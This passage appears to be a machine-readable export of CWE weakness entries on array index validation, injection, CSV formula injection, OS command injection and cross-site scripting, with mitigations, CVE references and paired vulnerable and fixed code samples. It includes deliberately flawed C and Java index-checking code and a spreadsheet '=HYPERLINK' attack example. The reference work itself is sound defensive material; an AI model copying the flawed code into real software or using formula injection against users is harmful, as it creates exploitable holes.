(using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. \n\n\n For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336]. \n", "Effectiveness": "Defense in Depth", "EffectivenessNotes": "This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.", "MitigationID": "MIT-12", "Phase": [ "Operation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\nAssume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n\n\nWhen accessing a user-controlled array index, use a stringent range of values that are within the target array. Make sure that you do not allow negative values to be used. That is, verify the minimum as well as the maximum of the range of acceptable values.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-5", "Phase": [ "Implementation" ], "Strategy": "Input Validation" }, { "Description": "Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-35", "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-17", "Phase": [ "Architecture and Design", "Operation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\nRun the code in a \"jail\" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.\n\n\nOS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.\n\n\nThis may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.\n\n\nBe careful to avoid CWE-243 and other weaknesses related to jails.\n", "Effectiveness": "Limited", "EffectivenessNotes": "The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.", "MitigationID": "MIT-22", "Phase": [ "Architecture and Design", "Operation" ], "Strategy": "Sandbox or Jail" } ]

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If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": "DX-34" }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tint getValueFromArray(int *array, int len, int index) {\n\t\t\tint value;\n```\n// check that the array index is less than the maximum* \n\t\t\t\n\t\t\t\n\t\t\t *// length of the array* \n\t\t\tif (index < len) {\n\t\t\t```\n```\n// get the value at the specified index of the array* \n\t\t\t\t\tvalue = array[index];}\n\t\t\t\n\t\t\t *// if array index is invalid then output error message* \n\t\t\t\n\t\t\t\n\t\t\t *// and return value indicating error* \n\t\t\telse {\n\t\t\t```\n\t\t\t\tprintf(\"Value is: %d\\n\", array[index]);\n\t\t\t\tvalue = -1;\n\t\t\t}\n\t\t\treturn value;\n\t}\n```", "IntroText": null, "Language": "C", "Nature": "Bad", "Reference": null }, { "BodyText": "However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\t...\n```\n// check that the array index is within the correct* \n\t\n\t\n\t *// range of values for the array* \n\tif (index >= 0 && index < len) {\n\t\n\t...", "IntroText": null, "Language": "C", "Nature": "Good", "Reference": null } ], "ID": "DX-100" }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n```\n/* capture the sizes of all messages */* \n\tint getsizes(int sock, int count, int *sizes) {\n\t```\n\t\t\t...\n\t\t\tchar buf[BUFFER_SIZE];\n\t\t\tint ok;\n\t\t\tint num, size;\n```\n// read values from socket and added to sizes array* \n\t\t\twhile ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)\n\t\t\t{\n\t\t\t```\n```\n// continue read from socket until buf only contains '.'* \n\t\t\t\t\tif (DOTLINE(buf))\n\t\t\t\t\t```\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t else if (sscanf(buf, \"%d %d\", &num, &size) == 2)\n\t\t\t\t\t\tsizes[num - 1] = size;\n\t\t\t}\n\t\t\t\t...\n\t}\n```", "IntroText": null, "Language": "C", "Nature": "Bad", "Reference": null }, { "BodyText": "In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. 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The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n```\n// Method called from servlet to obtain product information* \n\tpublic String displayProductSummary(int index) {\n\t\n\t```\n\t\t\tString productSummary = new String(\"\");\n\t\t\ttry {\n\t\t\t\tString productSummary = getProductSummary(index);\n\t\t\t} catch (Exception ex) {...}\n\t\t\treturn productSummary;\n\t}\n\tpublic String getProductSummary(int index) {\n\t\treturn products[index];\n\t}\n```", "IntroText": null, "Language": "Java", "Nature": "Bad", "Reference": null }, { "BodyText": "In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n```\n// Method called from servlet to obtain product information* \n\tpublic String displayProductSummary(int index) {\n\t\n\t```\n\t\t\tString productSummary = new String(\"\");\n\t\t\ttry {\n\t\t\t\tString productSummary = getProductSummary(index);\n\t\t\t} catch (Exception ex) {...}\n\t\t\treturn productSummary;\n\t}\n\tpublic String getProductSummary(int index) {\n\t\t\tString productSummary = \"\";\n\t\t\tif ((index >= 0) && (index < MAX_PRODUCTS)) {\n\t\t\t\tproductSummary = products[index];\n\t\t\t}\n\t\t\telse {\n\t\t\t\tSystem.err.println(\"index is out of bounds\");\n\t\t\t\tthrow new IndexOutOfBoundsException();\n\t\t\t}\n\t\t\treturn productSummary;\n\t}\n```", "IntroText": null, "Language": "Java", "Nature": "Good", "Reference": null }, { "BodyText": "An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tArrayList productArray = new ArrayList(MAX_PRODUCTS);\n\t...\n\ttry {\n\t\tproductSummary = (String) productArray.get(index);\n\t} catch (IndexOutOfBoundsException ex) {...}\n```", "IntroText": null, "Language": "Java", "Nature": "Good", "Reference": null } ], "ID": "DX-133" }, { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "The following example asks a user for an offset into an array to select an item.", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "```\n\tint main (int argc, char **argv) {\n\t\tchar *items[] = {\"boat\", \"car\", \"truck\", \"train\"};\n\t\tint index = GetUntrustedOffset();\n\t\tprintf(\"You selected %s\\n\", items[index-1]);\n\t}\n```", "IntroText": null, "Language": "C", "Nature": "Bad", "Reference": null }, { "BodyText": "The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null } ], "ID": "DX-90" } ]

[ { "Description": "large ID in packet used as array index", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-0369", "Reference": "CVE-2005-0369" }, { "Description": "negative array index as argument to POP LIST command", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1009", "Reference": "CVE-2001-1009" }, { "Description": "Integer signedness error leads to negative array index", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0721", "Reference": "CVE-2003-0721" }, { "Description": "product does not properly track a count and a maximum number, which can lead to resultant array index overflow.", "Link": "https://www.cve.org/CVERecord?id=CVE-2004-1189", "Reference": "CVE-2004-1189" }, { "Description": "Chain: device driver for packet-capturing software allows access to an unintended IOCTL with resultant array index error.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-5756", "Reference": "CVE-2007-5756" }, { "Description": "Chain: array index error (CWE-129) leads to deadlock (CWE-833)", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2456", "Reference": "CVE-2005-2456" } ]

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Allowed

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Class

Simple

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The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Software or other automated logic has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed.

High

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[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

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[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "API service using a large generative AI model allows direct prompt injection to leak hard-coded system prompts or execute other prompts.", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-5184", "Reference": "CVE-2024-5184" }, { "Description": "Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash (CWE-88), potentially allowing for code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-36069", "Reference": "CVE-2022-36069" }, { "Description": "Canonical example of OS command injection. CGI program does not neutralize \"|\" metacharacter when invoking a phonebook program.", "Link": "https://www.cve.org/CVERecord?id=CVE-1999-0067", "Reference": "CVE-1999-0067" }, { "Description": "injection of sed script syntax (\"sed injection\")", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-1509", "Reference": "CVE-2022-1509" }, { "Description": "Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-9054", "Reference": "CVE-2020-9054" }, { "Description": "Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability)", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-44228", "Reference": "CVE-2021-44228" } ]

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Discouraged

CWE-74 is high-level and often misused when lower-level weaknesses are more appropriate.

Examine the children and descendants of this entry to find a more precise mapping.

[ "Frequent Misuse", "Abstraction" ]

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[ { "Description": null, "Ordinality": "Primary" } ]

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1

[ [ "74" ] ]

[ "1236", "77", "78", "79", "88", "89", "91", "917", "94" ]

1236

Improper Neutralization of Formula Elements in a CSV File

Base

Simple

Incomplete

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The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product.

User-provided data is often saved to traditional databases. This data can be exported to a CSV file, which allows users to read the data using spreadsheet software such as Excel, Numbers, or Calc. This software interprets entries beginning with '=' as formulas, which are then executed by the spreadsheet software. The software's formula language often allows methods to access hyperlinks or the local command line, and frequently allows enough characters to invoke an entire script. Attackers can populate data fields which, when saved to a CSV file, may attempt information exfiltration or other malicious activity when automatically executed by the spreadsheet software.

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[ { "CweID": "74", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" }, { "Class": "Not OS-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Operating_System" }, { "Class": "Not Architecture-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Architecture" }, { "Class": null, "Name": "Other", "Prevalence": "Undetermined", "Type": "Technology" } ]

[ { "Note": "The weakness is in the implementation of a software's CSV export feature, in particular how it formats formula entries as the output gets flattened into a text file.", "Phase": "Implementation" } ]

[ { "Impact": [ "Read Application Data", "Execute Unauthorized Code or Commands" ], "Likelihood": [ "Low" ], "Note": "Current versions of Excel warn users of untrusted content.", "Scope": [ "Confidentiality" ] } ]

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[ { "Description": "When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV. Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).", "Effectiveness": "Moderate", "EffectivenessNotes": "Unfortunately, there is no perfect solution, since different spreadsheet products act differently.", "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.", "Effectiveness": "Moderate", "EffectivenessNotes": "It is not clear how effective this mitigation is with other spreadsheet software.", "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Certain implementations of spreadsheet software might disallow formulas from executing if the file is untrusted, or if the file is not authored by the current user.", "Effectiveness": "Limited", "EffectivenessNotes": "This mitigation has limited effectiveness because it often depends on end users opening spreadsheet software safely.", "MitigationID": null, "Phase": [ "Architecture and Design" ], "Strategy": null } ]

[ { "Entries": [ { "BodyText": null, "ExampleCode": null, "IntroText": "Hyperlinks or other commands can be executed when a cell begins with the formula identifier, '='", "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "=HYPERLINK(link_location, [friendly_name])", "IntroText": null, "Language": "Other", "Nature": "Attack", "Reference": null }, { "BodyText": "Stripping the leading equals sign, or simply not executing formulas from untrusted sources, impedes malicious activity.", "ExampleCode": null, "IntroText": null, "Language": null, "Nature": null, "Reference": null }, { "BodyText": null, "ExampleCode": "HYPERLINK(link_location, [friendly_name])", "IntroText": null, "Language": "Other", "Nature": "Good", "Reference": null } ], "ID": null } ]

[ { "Description": "Low privileged user can trigger CSV injection through a contact form field value", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-12134", "Reference": "CVE-2019-12134" }, { "Description": "Cloud management product allows arbitrary command execution via CSV injection", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-4521", "Reference": "CVE-2019-4521" }, { "Description": "CSV injection in content management system via formula code in a first or last name", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-17661", "Reference": "CVE-2019-17661" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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77

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Class

Simple

Draft

/data/images/CWE-77-Diagram.png

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Many protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.

High

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[ { "Note": "\n\nCommand injection vulnerabilities typically occur when:\n\n\n 1. Data enters the application from an untrusted source.\n\n 1. The data is part of a string that is executed as a command by the application.\n\n", "Phase": "Implementation" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

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[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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Allowed-with-Review

CWE-77 is often misused when OS command injection (CWE-78) was intended instead [REF-1287].

Ensure that the analysis focuses on the root-cause error that allows the execution of commands, as there are many weaknesses that can lead to this consequence. See Terminology Notes. If the weakness involves a command language besides OS shell invocation, then CWE-77 could be used.

[ "Frequent Misuse" ]

[ { "Comment": "OS Command Injection", "CweID": "78" } ]

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78

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Base

Simple

Stable

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The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage. There are at least two subtypes of OS command injection: - The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing. - The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line. From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

High

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[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

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For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.\n\n\nThis may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.\n\n\nBe careful to avoid CWE-243 and other weaknesses related to jails.\n", "Effectiveness": "Limited", "EffectivenessNotes": "The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.", "MitigationID": "MIT-22", "Phase": [ "Architecture and Design", "Operation" ], "Strategy": "Sandbox or Jail" }, { "Description": "For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. 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Then, these modified values would be submitted to the server.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-15", "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "\n\nUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.\n\n\nFor example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-4.3", "Phase": [ "Architecture and Design" ], "Strategy": "Libraries or Frameworks" }, { "Description": "While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-28", "Phase": [ "Implementation" ], "Strategy": "Output Encoding" }, { "Description": "If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "\n\nIf available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.\n\n\nSome languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-27", "Phase": [ "Architecture and Design" ], "Strategy": "Parameterization" }, { "Description": "\n\nAssume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.\n\n\nWhen performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"\n\n\nDo not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.\n\n\nWhen constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.\n\n\nNote that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like \";\" and \">\" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.\n\n\nEven if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-5", "Phase": [ "Implementation" ], "Strategy": "Input Validation" }, { "Description": "When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-21", "Phase": [ "Architecture and Design" ], "Strategy": "Enforcement by Conversion" }, { "Description": "Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's \"-T\" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-32", "Phase": [ "Operation" ], "Strategy": "Compilation or Build Hardening" }, { "Description": "Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's \"-T\" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-32", "Phase": [ "Operation" ], "Strategy": "Environment Hardening" }, { "Description": "\n\nEnsure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.\n\n\nIf errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.\n\n\nAvoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.\n\n\nIn the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.\n", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-39", "Phase": [ "Implementation" ], "Strategy": null }, { "Description": "Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. 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Finally, some manual effort may be required for customization.", "MitigationID": "MIT-29", "Phase": [ "Operation" ], "Strategy": "Firewall" }, { "Description": "Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": "MIT-17", "Phase": [ "Architecture and Design", "Operation" ], "Strategy": "Environment Hardening" }, { "Description": "When using PHP, configure the application so that it does not use register_globals. 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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

null

[ { "Description": null, "Term": "Shell injection" }, { "Description": null, "Term": "Shell metacharacters" }, { "Description": null, "Term": "OS Command Injection" } ]

[ "System Process" ]

[ "Program Invocation" ]

null

1

[ [ "74", "78" ] ]

[]

79

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Base

Simple

Stable

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The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

There are many variants of cross-site scripting, characterized by a variety of terms or involving different attack topologies. However, they all indicate the same fundamental weakness: improper neutralization of dangerous input between the adversary and a victim.

High

[ { "CweID": "74", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" }, { "Class": "Web Based", "Name": null, "Prevalence": "Often", "Type": "Technology" } ]

[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

[ { "Impact": [ "Bypass Protection Mechanism", "Read Application Data" ], "Likelihood": null, "Note": "The most common attack performed with cross-site scripting involves the disclosure of private information stored in user cookies, such as session information. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity on behalf of the victim to an attacker-controlled system (such as sending all site cookies to a given E-mail address). This could be especially dangerous to the site if the victim has administrator privileges to manage that site. This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.", "Scope": [ "Access Control", "Confidentiality" ] }, { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws, for example, \"drive-by hacking.\"", "Scope": [ "Integrity", "Confidentiality", "Availability" ] }, { "Impact": [ "Execute Unauthorized Code or Commands", "Bypass Protection Mechanism", "Read Application Data" ], "Likelihood": null, "Note": "The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running \"Active X\" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, 